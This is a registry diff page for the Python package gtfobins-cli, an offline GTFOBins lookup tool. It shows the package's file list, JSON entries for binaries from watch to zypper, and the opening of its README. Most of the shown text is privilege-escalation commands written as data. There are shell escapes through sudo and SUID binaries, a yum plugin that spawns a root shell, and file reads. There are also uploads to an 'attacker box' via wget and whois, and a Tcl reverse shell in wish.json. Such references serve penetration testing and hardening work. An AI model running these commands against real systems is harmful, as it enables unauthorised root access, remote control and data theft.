gtfobins-cli 1.0.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (263) hide show
  1. gtfo/__init__.py +2 -0
  2. gtfo/cli.py +90 -0
  3. gtfo/data/apt-get.json +24 -0
  4. gtfo/data/apt.json +24 -0
  5. gtfo/data/ar.json +20 -0
  6. gtfo/data/aria2c.json +24 -0
  7. gtfo/data/arp.json +20 -0
  8. gtfo/data/ash.json +24 -0
  9. gtfo/data/at.json +20 -0
  10. gtfo/data/atobm.json +20 -0
  11. gtfo/data/awk.json +46 -0
  12. gtfo/data/base32.json +19 -0
  13. gtfo/data/base64.json +19 -0
  14. gtfo/data/basenc.json +19 -0
  15. gtfo/data/bash.json +69 -0
  16. gtfo/data/bpftrace.json +15 -0
  17. gtfo/data/bundler.json +29 -0
  18. gtfo/data/busctl.json +15 -0
  19. gtfo/data/busybox.json +37 -0
  20. gtfo/data/byebug.json +19 -0
  21. gtfo/data/cancel.json +10 -0
  22. gtfo/data/capsh.json +19 -0
  23. gtfo/data/cat.json +19 -0
  24. gtfo/data/certbot.json +14 -0
  25. gtfo/data/check_by_ssh.json +17 -0
  26. gtfo/data/check_cups.json +15 -0
  27. gtfo/data/check_log.json +20 -0
  28. gtfo/data/check_memory.json +15 -0
  29. gtfo/data/check_raid.json +15 -0
  30. gtfo/data/check_ssl_cert.json +17 -0
  31. gtfo/data/check_statusfile.json +15 -0
  32. gtfo/data/chmod.json +15 -0
  33. gtfo/data/chown.json +15 -0
  34. gtfo/data/chroot.json +14 -0
  35. gtfo/data/cobc.json +14 -0
  36. gtfo/data/column.json +20 -0
  37. gtfo/data/comm.json +19 -0
  38. gtfo/data/composer.json +19 -0
  39. gtfo/data/cowsay.json +15 -0
  40. gtfo/data/cowthink.json +14 -0
  41. gtfo/data/cp.json +32 -0
  42. gtfo/data/cpan.json +33 -0
  43. gtfo/data/cpio.json +48 -0
  44. gtfo/data/cpulimit.json +19 -0
  45. gtfo/data/crash.json +21 -0
  46. gtfo/data/crontab.json +16 -0
  47. gtfo/data/csh.json +24 -0
  48. gtfo/data/csplit.json +19 -0
  49. gtfo/data/csvtool.json +31 -0
  50. gtfo/data/cupsfilter.json +19 -0
  51. gtfo/data/curl.json +34 -0
  52. gtfo/data/cut.json +19 -0
  53. gtfo/data/dash.json +24 -0
  54. gtfo/data/date.json +20 -0
  55. gtfo/data/dd.json +24 -0
  56. gtfo/data/dialog.json +20 -0
  57. gtfo/data/diff.json +19 -0
  58. gtfo/data/dig.json +20 -0
  59. gtfo/data/dmesg.json +22 -0
  60. gtfo/data/dmsetup.json +14 -0
  61. gtfo/data/dnf.json +10 -0
  62. gtfo/data/docker.json +35 -0
  63. gtfo/data/dpkg.json +20 -0
  64. gtfo/data/dvips.json +20 -0
  65. gtfo/data/easy_install.json +53 -0
  66. gtfo/data/eb.json +15 -0
  67. gtfo/data/ed.json +34 -0
  68. gtfo/data/emacs.json +29 -0
  69. gtfo/data/env.json +19 -0
  70. gtfo/data/eqn.json +20 -0
  71. gtfo/data/ex.json +24 -0
  72. gtfo/data/exiftool.json +20 -0
  73. gtfo/data/expand.json +20 -0
  74. gtfo/data/expect.json +19 -0
  75. gtfo/data/facter.json +14 -0
  76. gtfo/data/file.json +26 -0
  77. gtfo/data/find.json +19 -0
  78. gtfo/data/finger.json +17 -0
  79. gtfo/data/flock.json +19 -0
  80. gtfo/data/fmt.json +27 -0
  81. gtfo/data/fold.json +19 -0
  82. gtfo/data/ftp.json +26 -0
  83. gtfo/data/gawk.json +46 -0
  84. gtfo/data/gcc.json +24 -0
  85. gtfo/data/gdb.json +66 -0
  86. gtfo/data/gem.json +28 -0
  87. gtfo/data/genisoimage.json +15 -0
  88. gtfo/data/ghc.json +14 -0
  89. gtfo/data/ghci.json +14 -0
  90. gtfo/data/gimp.json +57 -0
  91. gtfo/data/git.json +55 -0
  92. gtfo/data/grep.json +20 -0
  93. gtfo/data/gtester.json +19 -0
  94. gtfo/data/gzip.json +23 -0
  95. gtfo/data/hd.json +20 -0
  96. gtfo/data/head.json +19 -0
  97. gtfo/data/hexdump.json +20 -0
  98. gtfo/data/highlight.json +19 -0
  99. gtfo/data/hping3.json +19 -0
  100. gtfo/data/iconv.json +25 -0
  101. gtfo/data/iftop.json +20 -0
  102. gtfo/data/install.json +15 -0
  103. gtfo/data/ionice.json +19 -0
  104. gtfo/data/ip.json +28 -0
  105. gtfo/data/irb.json +47 -0
  106. gtfo/data/jjs.json +43 -0
  107. gtfo/data/join.json +19 -0
  108. gtfo/data/journalctl.json +15 -0
  109. gtfo/data/jq.json +19 -0
  110. gtfo/data/jrunscript.json +43 -0
  111. gtfo/data/ksh.json +60 -0
  112. gtfo/data/ksshell.json +20 -0
  113. gtfo/data/latex.json +29 -0
  114. gtfo/data/latexmk.json +27 -0
  115. gtfo/data/ld.so.json +20 -0
  116. gtfo/data/ldconfig.json +17 -0
  117. gtfo/data/less.json +40 -0
  118. gtfo/data/logsave.json +19 -0
  119. gtfo/data/look.json +19 -0
  120. gtfo/data/ltrace.json +26 -0
  121. gtfo/data/lua.json +58 -0
  122. gtfo/data/lualatex.json +20 -0
  123. gtfo/data/luatex.json +20 -0
  124. gtfo/data/lwp-download.json +26 -0
  125. gtfo/data/lwp-request.json +14 -0
  126. gtfo/data/mail.json +20 -0
  127. gtfo/data/make.json +26 -0
  128. gtfo/data/man.json +24 -0
  129. gtfo/data/mawk.json +34 -0
  130. gtfo/data/more.json +24 -0
  131. gtfo/data/mount.json +10 -0
  132. gtfo/data/mtr.json +15 -0
  133. gtfo/data/mv.json +15 -0
  134. gtfo/data/mysql.json +26 -0
  135. gtfo/data/nano.json +34 -0
  136. gtfo/data/nawk.json +46 -0
  137. gtfo/data/nc.json +40 -0
  138. gtfo/data/nice.json +19 -0
  139. gtfo/data/nl.json +20 -0
  140. gtfo/data/nmap.json +82 -0
  141. gtfo/data/node.json +58 -0
  142. gtfo/data/nohup.json +24 -0
  143. gtfo/data/npm.json +14 -0
  144. gtfo/data/nroff.json +20 -0
  145. gtfo/data/nsenter.json +14 -0
  146. gtfo/data/octave-cli.json +30 -0
  147. gtfo/data/od.json +20 -0
  148. gtfo/data/openssl.json +55 -0
  149. gtfo/data/openvpn.json +28 -0
  150. gtfo/data/openvt.json +10 -0
  151. gtfo/data/paste.json +19 -0
  152. gtfo/data/pdb.json +15 -0
  153. gtfo/data/pdflatex.json +29 -0
  154. gtfo/data/pdftex.json +19 -0
  155. gtfo/data/perl.json +35 -0
  156. gtfo/data/pg.json +24 -0
  157. gtfo/data/php.json +70 -0
  158. gtfo/data/pic.json +19 -0
  159. gtfo/data/pico.json +34 -0
  160. gtfo/data/pip.json +53 -0
  161. gtfo/data/pkexec.json +9 -0
  162. gtfo/data/pkg.json +10 -0
  163. gtfo/data/pr.json +20 -0
  164. gtfo/data/pry.json +19 -0
  165. gtfo/data/psql.json +15 -0
  166. gtfo/data/puppet.json +26 -0
  167. gtfo/data/python.json +62 -0
  168. gtfo/data/rake.json +19 -0
  169. gtfo/data/readelf.json +20 -0
  170. gtfo/data/red.json +20 -0
  171. gtfo/data/redcarpet.json +15 -0
  172. gtfo/data/restic.json +20 -0
  173. gtfo/data/rev.json +19 -0
  174. gtfo/data/rlogin.json +11 -0
  175. gtfo/data/rlwrap.json +25 -0
  176. gtfo/data/rpm.json +26 -0
  177. gtfo/data/rpmquery.json +19 -0
  178. gtfo/data/rsync.json +19 -0
  179. gtfo/data/ruby.json +52 -0
  180. gtfo/data/run-mailcap.json +28 -0
  181. gtfo/data/run-parts.json +19 -0
  182. gtfo/data/rview.json +100 -0
  183. gtfo/data/rvim.json +100 -0
  184. gtfo/data/sash.json +19 -0
  185. gtfo/data/scp.json +31 -0
  186. gtfo/data/screen.json +24 -0
  187. gtfo/data/script.json +20 -0
  188. gtfo/data/sed.json +41 -0
  189. gtfo/data/service.json +14 -0
  190. gtfo/data/setarch.json +19 -0
  191. gtfo/data/sftp.json +26 -0
  192. gtfo/data/sg.json +15 -0
  193. gtfo/data/shuf.json +28 -0
  194. gtfo/data/smbclient.json +27 -0
  195. gtfo/data/snap.json +10 -0
  196. gtfo/data/socat.json +46 -0
  197. gtfo/data/soelim.json +20 -0
  198. gtfo/data/sort.json +19 -0
  199. gtfo/data/split.json +31 -0
  200. gtfo/data/sqlite3.json +34 -0
  201. gtfo/data/ss.json +20 -0
  202. gtfo/data/ssh-keygen.json +22 -0
  203. gtfo/data/ssh.json +38 -0
  204. gtfo/data/ssh_keyscan.json +20 -0
  205. gtfo/data/start-stop-daemon.json +19 -0
  206. gtfo/data/stdbuf.json +19 -0
  207. gtfo/data/strace.json +25 -0
  208. gtfo/data/strings.json +20 -0
  209. gtfo/data/su.json +9 -0
  210. gtfo/data/sysctl.json +20 -0
  211. gtfo/data/systemctl.json +21 -0
  212. gtfo/data/tac.json +20 -0
  213. gtfo/data/tail.json +19 -0
  214. gtfo/data/tar.json +51 -0
  215. gtfo/data/taskset.json +19 -0
  216. gtfo/data/tbl.json +20 -0
  217. gtfo/data/tclsh.json +25 -0
  218. gtfo/data/tcpdump.json +15 -0
  219. gtfo/data/tee.json +20 -0
  220. gtfo/data/telnet.json +28 -0
  221. gtfo/data/tex.json +19 -0
  222. gtfo/data/tftp.json +28 -0
  223. gtfo/data/time.json +20 -0
  224. gtfo/data/timeout.json +19 -0
  225. gtfo/data/tmux.json +14 -0
  226. gtfo/data/top.json +16 -0
  227. gtfo/data/troff.json +20 -0
  228. gtfo/data/ul.json +20 -0
  229. gtfo/data/unexpand.json +19 -0
  230. gtfo/data/uniq.json +20 -0
  231. gtfo/data/unshare.json +19 -0
  232. gtfo/data/update-alternatives.json +16 -0
  233. gtfo/data/uuencode.json +19 -0
  234. gtfo/data/valgrind.json +14 -0
  235. gtfo/data/vi.json +28 -0
  236. gtfo/data/view.json +109 -0
  237. gtfo/data/vim.json +109 -0
  238. gtfo/data/vimdiff.json +109 -0
  239. gtfo/data/virsh.json +21 -0
  240. gtfo/data/watch.json +25 -0
  241. gtfo/data/wc.json +20 -0
  242. gtfo/data/wget.json +40 -0
  243. gtfo/data/whois.json +25 -0
  244. gtfo/data/wish.json +20 -0
  245. gtfo/data/xargs.json +35 -0
  246. gtfo/data/xelatex.json +29 -0
  247. gtfo/data/xetex.json +19 -0
  248. gtfo/data/xmodmap.json +20 -0
  249. gtfo/data/xmore.json +20 -0
  250. gtfo/data/xxd.json +24 -0
  251. gtfo/data/xz.json +19 -0
  252. gtfo/data/yelp.json +10 -0
  253. gtfo/data/yum.json +20 -0
  254. gtfo/data/zip.json +24 -0
  255. gtfo/data/zsh.json +29 -0
  256. gtfo/data/zsoelim.json +20 -0
  257. gtfo/data/zypper.json +22 -0
  258. gtfobins_cli-1.0.0.dist-info/METADATA +188 -0
  259. gtfobins_cli-1.0.0.dist-info/RECORD +263 -0
  260. gtfobins_cli-1.0.0.dist-info/WHEEL +5 -0
  261. gtfobins_cli-1.0.0.dist-info/entry_points.txt +2 -0
  262. gtfobins_cli-1.0.0.dist-info/licenses/LICENSE +674 -0
  263. gtfobins_cli-1.0.0.dist-info/top_level.txt +1 -0
gtfo/data/watch.json ADDED
@@ -0,0 +1,25 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "code": "watch -x sh -c 'reset; exec sh 1>&0 2>&0'"
6
+ }
7
+ ],
8
+ "suid": [
9
+ {
10
+ "description": "This keeps the SUID privileges only if the '-x' option is present.",
11
+ "code": "./watch -x sh -c 'reset; exec sh 1>&0 2>&0'"
12
+ }
13
+ ],
14
+ "sudo": [
15
+ {
16
+ "code": "sudo watch -x sh -c 'reset; exec sh 1>&0 2>&0'"
17
+ }
18
+ ],
19
+ "limited-suid": [
20
+ {
21
+ "code": "./watch 'reset; exec sh 1>&0 2>&0'"
22
+ }
23
+ ]
24
+ }
25
+ }
gtfo/data/wc.json ADDED
@@ -0,0 +1,20 @@
1
+ {
2
+ "description": "The file content is parsed as a sequence of '\\x00' separated paths. On error the file content appears in a message, so this may not be suitable to read binary files.",
3
+ "functions": {
4
+ "file-read": [
5
+ {
6
+ "code": "wc --files0-from \"[file]\"\n"
7
+ }
8
+ ],
9
+ "suid": [
10
+ {
11
+ "code": "./wc --files0-from \"[file]\"\n"
12
+ }
13
+ ],
14
+ "sudo": [
15
+ {
16
+ "code": "sudo wc --files0-from \"[file]\"\n"
17
+ }
18
+ ]
19
+ }
20
+ }
gtfo/data/wget.json ADDED
@@ -0,0 +1,40 @@
1
+ {
2
+ "functions": {
3
+ "file-upload": [
4
+ {
5
+ "description": "Send local file with an HTTP POST request. Run an HTTP service on the attacker box to collect the file. Note that the file will be sent as-is, instruct the service to not URL-decode the body. Use '--post-data' to send hard-coded data.",
6
+ "code": "wget --post-file=[file] [url]\n"
7
+ }
8
+ ],
9
+ "file-read": [
10
+ {
11
+ "description": "The file to be read is treated as a list of URLs, one per line, which are actually fetched by 'wget'. The content appears, somewhat modified, as error messages, thus this is not suitable to read arbitrary binary data.",
12
+ "code": "wget -i [file]\n"
13
+ }
14
+ ],
15
+ "file-write": [
16
+ {
17
+ "description": "The data to be written is treated as a list of URLs, one per line, which are actually fetched by 'wget'. The data is written, somewhat modified, as error messages, thus this is not suitable to write arbitrary binary data.",
18
+ "code": "TF=$(mktemp)\necho [data] > $TF\nwget -i $TF -o [file]\n"
19
+ }
20
+ ],
21
+ "file-download": [
22
+ {
23
+ "description": "Fetch a remote file via HTTP GET request.",
24
+ "code": "wget [url] -O [file]\n"
25
+ }
26
+ ],
27
+ "suid": [
28
+ {
29
+ "description": "Fetch a remote file via HTTP GET request.",
30
+ "code": "./wget [url] -O [file]\n"
31
+ }
32
+ ],
33
+ "sudo": [
34
+ {
35
+ "description": "Fetch a remote file via HTTP GET request.",
36
+ "code": "sudo wget [url] -O [file]\n"
37
+ }
38
+ ]
39
+ }
40
+ }
gtfo/data/whois.json ADDED
@@ -0,0 +1,25 @@
1
+ {
2
+ "description": "'whois' hangs waiting for the remote peer to close the socket.",
3
+ "functions": {
4
+ "file-upload": [
5
+ {
6
+ "description": "Send a text file to a TCP port. Run 'nc -lp [port] > [file]' on the attacker box to collect the file. The file has a trailing '$'\\x0d\\x0a'' and its length is limited by the maximum size of arguments.",
7
+ "code": "whois -h [host] -p [port] \"`cat [file]`\"\n"
8
+ },
9
+ {
10
+ "description": "Send a binary file to a TCP port. Run 'nc -lp [port] | tr -d $'\\x0d' | base64 -d > [file]' on the attacker box to collect the file. The file length is limited by the maximum size of arguments.",
11
+ "code": "whois -h [host] -p [port] \"`base64 [file]`\"\n"
12
+ }
13
+ ],
14
+ "file-download": [
15
+ {
16
+ "description": "Fetch remote text file from a remote TCP port. Run 'nc -lp [port] < [file]' on the attacker box to send the file. The file has instances of '$'\\x0d'' stripped.",
17
+ "code": "whois -h [host] -p [port] > [file]\n"
18
+ },
19
+ {
20
+ "description": "Fetch remote binary file from a remote TCP port. Run 'base64 [file] | nc -lp [port]' on the attacker box to send the file.",
21
+ "code": "whois -h [host] -p [port] | base64 -d > [file]\n"
22
+ }
23
+ ]
24
+ }
25
+ }
gtfo/data/wish.json ADDED
@@ -0,0 +1,20 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "code": "wish\nexec /bin/sh <@stdin >@stdout 2>@stderr\n"
6
+ }
7
+ ],
8
+ "non-interactive-reverse-shell": [
9
+ {
10
+ "description": "Run 'nc -lp [port]' on the attacker box to receive the shell.",
11
+ "code": "echo 'set s [socket [host] [port]];while 1 { puts -nonewline $s \"> \";flush $s;gets $s c;set e \"exec $c\";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | wish\n"
12
+ }
13
+ ],
14
+ "sudo": [
15
+ {
16
+ "code": "sudo wish\nexec /bin/sh <@stdin >@stdout 2>@stderr\n"
17
+ }
18
+ ]
19
+ }
20
+ }
gtfo/data/xargs.json ADDED
@@ -0,0 +1,35 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "description": "GNU version only.",
6
+ "code": "xargs -a /dev/null sh"
7
+ },
8
+ {
9
+ "code": "echo x | xargs -Iy sh -c 'exec sh 0<&1'"
10
+ },
11
+ {
12
+ "description": "Read interactively from 'stdin'.",
13
+ "code": "xargs -Ix sh -c 'exec sh 0<&1'\nx^D^D\n"
14
+ }
15
+ ],
16
+ "file-read": [
17
+ {
18
+ "description": "This works as long as the file does not contain the NUL character, also a trailing '$'\\n'' is added. The actual '/bin/echo' command is executed. GNU version only.",
19
+ "code": "xargs -a [file] -0\n"
20
+ }
21
+ ],
22
+ "suid": [
23
+ {
24
+ "description": "GNU version only.",
25
+ "code": "./xargs -a /dev/null sh -p"
26
+ }
27
+ ],
28
+ "sudo": [
29
+ {
30
+ "description": "GNU version only.",
31
+ "code": "sudo xargs -a /dev/null sh"
32
+ }
33
+ ]
34
+ }
35
+ }
gtfo/data/xelatex.json ADDED
@@ -0,0 +1,29 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "code": "xelatex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n"
6
+ }
7
+ ],
8
+ "file-read": [
9
+ {
10
+ "description": "The read file will be part of the output.",
11
+ "code": "xelatex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{[file]}\\end{document}'\nstrings article.dvi\n"
12
+ }
13
+ ],
14
+ "sudo": [
15
+ {
16
+ "description": "The read file will be part of the output.",
17
+ "code": "sudo xelatex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{[file]}\\end{document}'\nstrings article.dvi\n"
18
+ },
19
+ {
20
+ "code": "sudo xelatex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n"
21
+ }
22
+ ],
23
+ "limited-suid": [
24
+ {
25
+ "code": "./xelatex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n"
26
+ }
27
+ ]
28
+ }
29
+ }
gtfo/data/xetex.json ADDED
@@ -0,0 +1,19 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "code": "xetex --shell-escape '\\write18{/bin/sh}\\end'\n"
6
+ }
7
+ ],
8
+ "sudo": [
9
+ {
10
+ "code": "sudo xetex --shell-escape '\\write18{/bin/sh}\\end'\n"
11
+ }
12
+ ],
13
+ "limited-suid": [
14
+ {
15
+ "code": "./xetex --shell-escape '\\write18{/bin/sh}\\end'\n"
16
+ }
17
+ ]
18
+ }
19
+ }
gtfo/data/xmodmap.json ADDED
@@ -0,0 +1,20 @@
1
+ {
2
+ "description": "The read file content is corrupted by error prints.\n",
3
+ "functions": {
4
+ "file-read": [
5
+ {
6
+ "code": "xmodmap -v [file]\n"
7
+ }
8
+ ],
9
+ "suid": [
10
+ {
11
+ "code": "./xmodmap -v [file]\n"
12
+ }
13
+ ],
14
+ "sudo": [
15
+ {
16
+ "code": "sudo xmodmap -v [file]\n"
17
+ }
18
+ ]
19
+ }
20
+ }
gtfo/data/xmore.json ADDED
@@ -0,0 +1,20 @@
1
+ {
2
+ "description": "The file is displayed in a Xorg window, so it needs a working graphical environment.",
3
+ "functions": {
4
+ "file-read": [
5
+ {
6
+ "code": "xmore [file]\n"
7
+ }
8
+ ],
9
+ "suid": [
10
+ {
11
+ "code": "./xmore [file]\n"
12
+ }
13
+ ],
14
+ "sudo": [
15
+ {
16
+ "code": "sudo xmore [file]\n"
17
+ }
18
+ ]
19
+ }
20
+ }
gtfo/data/xxd.json ADDED
@@ -0,0 +1,24 @@
1
+ {
2
+ "functions": {
3
+ "file-write": [
4
+ {
5
+ "code": "echo DATA | xxd | xxd -r - [file]\n"
6
+ }
7
+ ],
8
+ "file-read": [
9
+ {
10
+ "code": "xxd [file] | xxd -r\n"
11
+ }
12
+ ],
13
+ "suid": [
14
+ {
15
+ "code": "./xxd [file] | xxd -r\n"
16
+ }
17
+ ],
18
+ "sudo": [
19
+ {
20
+ "code": "sudo xxd [file] | xxd -r\n"
21
+ }
22
+ ]
23
+ }
24
+ }
gtfo/data/xz.json ADDED
@@ -0,0 +1,19 @@
1
+ {
2
+ "functions": {
3
+ "file-read": [
4
+ {
5
+ "code": "xz -c \"[file]\" | xz -d\n"
6
+ }
7
+ ],
8
+ "suid": [
9
+ {
10
+ "code": "./xz -c \"[file]\" | xz -d\n"
11
+ }
12
+ ],
13
+ "sudo": [
14
+ {
15
+ "code": "sudo xz -c \"[file]\" | xz -d\n"
16
+ }
17
+ ]
18
+ }
19
+ }
gtfo/data/yelp.json ADDED
@@ -0,0 +1,10 @@
1
+ {
2
+ "functions": {
3
+ "file-read": [
4
+ {
5
+ "description": "This spawns a graphical window containing the file content somehow corrupted by word wrapping, it might not be suitable to read arbitrary files. The path must be absolute.",
6
+ "code": "yelp \"man:[file]\"\n"
7
+ }
8
+ ]
9
+ }
10
+ }
gtfo/data/yum.json ADDED
@@ -0,0 +1,20 @@
1
+ {
2
+ "functions": {
3
+ "file-download": [
4
+ {
5
+ "description": "Fetch a remote file via HTTP GET request. The file on the remote host must have an extension of '.rpm', the content does not have to be an RPM file. The file will be downloaded to a randomly created directory in '/var/tmp', for example '/var/tmp/yum-root-cR0O4h/'.",
6
+ "code": "yum install http://[host]/[file]\n"
7
+ }
8
+ ],
9
+ "sudo": [
10
+ {
11
+ "description": "It runs commands using a specially crafted RPM package. Generate it with 'https://github.com/jordansissel/fpm' and upload it to the target.\n\nTF=$(mktemp -d)\necho 'id' > $TF/x.sh\nfpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF",
12
+ "code": "sudo yum localinstall -y x-1.0-1.noarch.rpm\n"
13
+ },
14
+ {
15
+ "description": "Spawn interactive root shell by loading a custom plugin.",
16
+ "code": "TF=$(mktemp -d)\ncat >$TF/x<<EOF\n[main]\nplugins=1\npluginpath=$TF\npluginconfpath=$TF\nEOF\n\ncat >$TF/y.conf<<EOF\n[main]\nenabled=1\nEOF\n\ncat >$TF/y.py<<EOF\nimport os\nimport yum\nfrom yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE\nrequires_api_version='2.1'\ndef init_hook(conduit):\n os.execl('/bin/sh','/bin/sh')\nEOF\n\nsudo yum -c $TF/x --enableplugin=y\n"
17
+ }
18
+ ]
19
+ }
20
+ }
gtfo/data/zip.json ADDED
@@ -0,0 +1,24 @@
1
+ {
2
+ "functions": {
3
+ "file-read": [
4
+ {
5
+ "code": "TF=$(mktemp -u)\nzip $TF [file]\nunzip -p $TF\n"
6
+ }
7
+ ],
8
+ "shell": [
9
+ {
10
+ "code": "TF=$(mktemp -u)\nzip $TF /etc/hosts -T -TT 'sh #'\nrm $TF\n"
11
+ }
12
+ ],
13
+ "sudo": [
14
+ {
15
+ "code": "TF=$(mktemp -u)\nsudo zip $TF /etc/hosts -T -TT 'sh #'\nsudo rm $TF\n"
16
+ }
17
+ ],
18
+ "limited-suid": [
19
+ {
20
+ "code": "TF=$(mktemp -u)\n./zip $TF /etc/hosts -T -TT 'sh #'\nsudo rm $TF\n"
21
+ }
22
+ ]
23
+ }
24
+ }
gtfo/data/zsh.json ADDED
@@ -0,0 +1,29 @@
1
+ {
2
+ "functions": {
3
+ "file-read": [
4
+ {
5
+ "code": "zsh -c 'echo \"$(<[file])\"'\n"
6
+ }
7
+ ],
8
+ "file-write": [
9
+ {
10
+ "code": "zsh -c 'echo [data] >[file]'\n"
11
+ }
12
+ ],
13
+ "shell": [
14
+ {
15
+ "code": "zsh"
16
+ }
17
+ ],
18
+ "suid": [
19
+ {
20
+ "code": "./zsh"
21
+ }
22
+ ],
23
+ "sudo": [
24
+ {
25
+ "code": "sudo zsh"
26
+ }
27
+ ]
28
+ }
29
+ }
gtfo/data/zsoelim.json ADDED
@@ -0,0 +1,20 @@
1
+ {
2
+ "description": "The content is actually parsed and corrupted by the command, thus it may not be suitable for arbitrary files.",
3
+ "functions": {
4
+ "file-read": [
5
+ {
6
+ "code": "zsoelim \"[file]\"\n"
7
+ }
8
+ ],
9
+ "suid": [
10
+ {
11
+ "code": "./zsoelim \"[file]\"\n"
12
+ }
13
+ ],
14
+ "sudo": [
15
+ {
16
+ "code": "sudo zsoelim \"[file]\"\n"
17
+ }
18
+ ]
19
+ }
20
+ }
gtfo/data/zypper.json ADDED
@@ -0,0 +1,22 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "description": "This requires '/bin/sh' to be copied to '/usr/lib/zypper/commands/zypper-x' and this usually requires elevated privileges.",
6
+ "code": "zypper x\n"
7
+ },
8
+ {
9
+ "code": "TF=$(mktemp -d)\ncp /bin/sh $TF/zypper-x\nexport PATH=$TF:$PATH\nzypper x\n"
10
+ }
11
+ ],
12
+ "sudo": [
13
+ {
14
+ "description": "This requires '/bin/sh' to be copied to '/usr/lib/zypper/commands/zypper-x' and this usually requires elevated privileges.",
15
+ "code": "sudo zypper x\n"
16
+ },
17
+ {
18
+ "code": "TF=$(mktemp -d)\ncp /bin/sh $TF/zypper-x\nsudo PATH=$TF:$PATH zypper x\n"
19
+ }
20
+ ]
21
+ }
22
+ }
@@ -0,0 +1,188 @@
1
+ Metadata-Version: 2.4
2
+ Name: gtfobins-cli
3
+ Version: 1.0.0
4
+ Summary: Command-line tool for GTFOBins - Unix binaries exploitation helper
5
+ Home-page: https://github.com/t0thkr1s/gtfo
6
+ Author: t0thkr1s
7
+ Author-email: t0thkr1s <t0thkr1s@icloud.com>
8
+ License: GPL-3.0
9
+ Project-URL: Homepage, https://github.com/t0thkr1s/gtfo
10
+ Project-URL: Repository, https://github.com/t0thkr1s/gtfo
11
+ Project-URL: Issues, https://github.com/t0thkr1s/gtfo/issues
12
+ Keywords: gtfobins,security,exploitation,privilege-escalation,pentesting
13
+ Classifier: Development Status :: 5 - Production/Stable
14
+ Classifier: Environment :: Console
15
+ Classifier: Intended Audience :: Developers
16
+ Classifier: Intended Audience :: System Administrators
17
+ Classifier: Intended Audience :: Information Technology
18
+ Classifier: License :: OSI Approved :: GNU General Public License v3 (GPLv3)
19
+ Classifier: Operating System :: OS Independent
20
+ Classifier: Programming Language :: Python :: 3
21
+ Classifier: Programming Language :: Python :: 3.6
22
+ Classifier: Programming Language :: Python :: 3.7
23
+ Classifier: Programming Language :: Python :: 3.8
24
+ Classifier: Programming Language :: Python :: 3.9
25
+ Classifier: Programming Language :: Python :: 3.10
26
+ Classifier: Programming Language :: Python :: 3.11
27
+ Classifier: Programming Language :: Python :: 3.12
28
+ Classifier: Topic :: Security
29
+ Classifier: Topic :: System :: System Shells
30
+ Classifier: Topic :: Utilities
31
+ Requires-Python: >=3.6
32
+ Description-Content-Type: text/markdown
33
+ License-File: LICENSE
34
+ Requires-Dist: colorama>=0.4.0
35
+ Requires-Dist: pygments>=2.0.0
36
+ Dynamic: author
37
+ Dynamic: home-page
38
+ Dynamic: license-file
39
+ Dynamic: requires-python
40
+
41
+ # GTFOBins CLI
42
+
43
+ [![PyPI version](https://badge.fury.io/py/gtfobins-cli.svg)](https://badge.fury.io/py/gtfobins-cli)
44
+ [![Python](https://img.shields.io/pypi/pyversions/gtfobins-cli.svg)](https://pypi.org/project/gtfobins-cli/)
45
+ [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
46
+ [![Build and Publish](https://github.com/t0thkr1s/gtfo/actions/workflows/publish.yml/badge.svg)](https://github.com/t0thkr1s/gtfo/actions/workflows/publish.yml)
47
+
48
+ ## Overview
49
+
50
+ **GTFOBins CLI** is a command-line interface for [GTFOBins](https://gtfobins.github.io/), providing instant access to Unix binary exploitation techniques. This tool helps security professionals and system administrators identify and understand how legitimate Unix binaries can be misused to bypass security restrictions.
51
+
52
+ ### Key Features
53
+
54
+ - 🔍 **Quick Binary Lookup**: Search exploitation techniques for any Unix binary
55
+ - 🎨 **Syntax Highlighting**: Color-coded output for better readability
56
+ - 📦 **Offline Database**: No internet connection required
57
+ - 🚀 **Instant Access**: Fast, local searches with zero latency
58
+ - 💻 **Cross-Platform**: Works on Linux, macOS, and Windows
59
+
60
+ ## Installation
61
+
62
+ ### From PyPI (Recommended)
63
+
64
+ ```bash
65
+ pip install gtfobins-cli
66
+ ```
67
+
68
+ ### From Source
69
+
70
+ ```bash
71
+ git clone https://github.com/t0thkr1s/gtfo
72
+ cd gtfo
73
+ pip install -e .
74
+ ```
75
+
76
+ ## Usage
77
+
78
+ ### Basic Usage
79
+
80
+ ```bash
81
+ gtfo <binary>
82
+ ```
83
+
84
+ ### Examples
85
+
86
+ ```bash
87
+ # Search for sudo exploitation techniques
88
+ gtfo sudo
89
+
90
+ # Search for python exploitation techniques
91
+ gtfo python
92
+
93
+ # Check version
94
+ gtfo --version
95
+ ```
96
+
97
+ ## Exploitation Categories
98
+
99
+ The tool provides information about various exploitation techniques:
100
+
101
+ - **Shell**: Spawn an interactive shell
102
+ - **Command**: Execute system commands
103
+ - **Reverse Shell**: Establish a reverse shell connection
104
+ - **Non-interactive Reverse Shell**: Create a non-interactive reverse shell
105
+ - **Bind Shell**: Set up a bind shell
106
+ - **Non-interactive Bind Shell**: Create a non-interactive bind shell
107
+ - **File Upload**: Transfer files to the target system
108
+ - **File Download**: Extract files from the target system
109
+ - **File Write**: Write data to files
110
+ - **File Read**: Read file contents
111
+ - **Library Load**: Load shared libraries
112
+ - **SUID**: Exploit SUID permissions
113
+ - **Sudo**: Exploit sudo permissions
114
+ - **Capabilities**: Exploit Linux capabilities
115
+ - **Limited SUID**: Work with limited SUID permissions
116
+
117
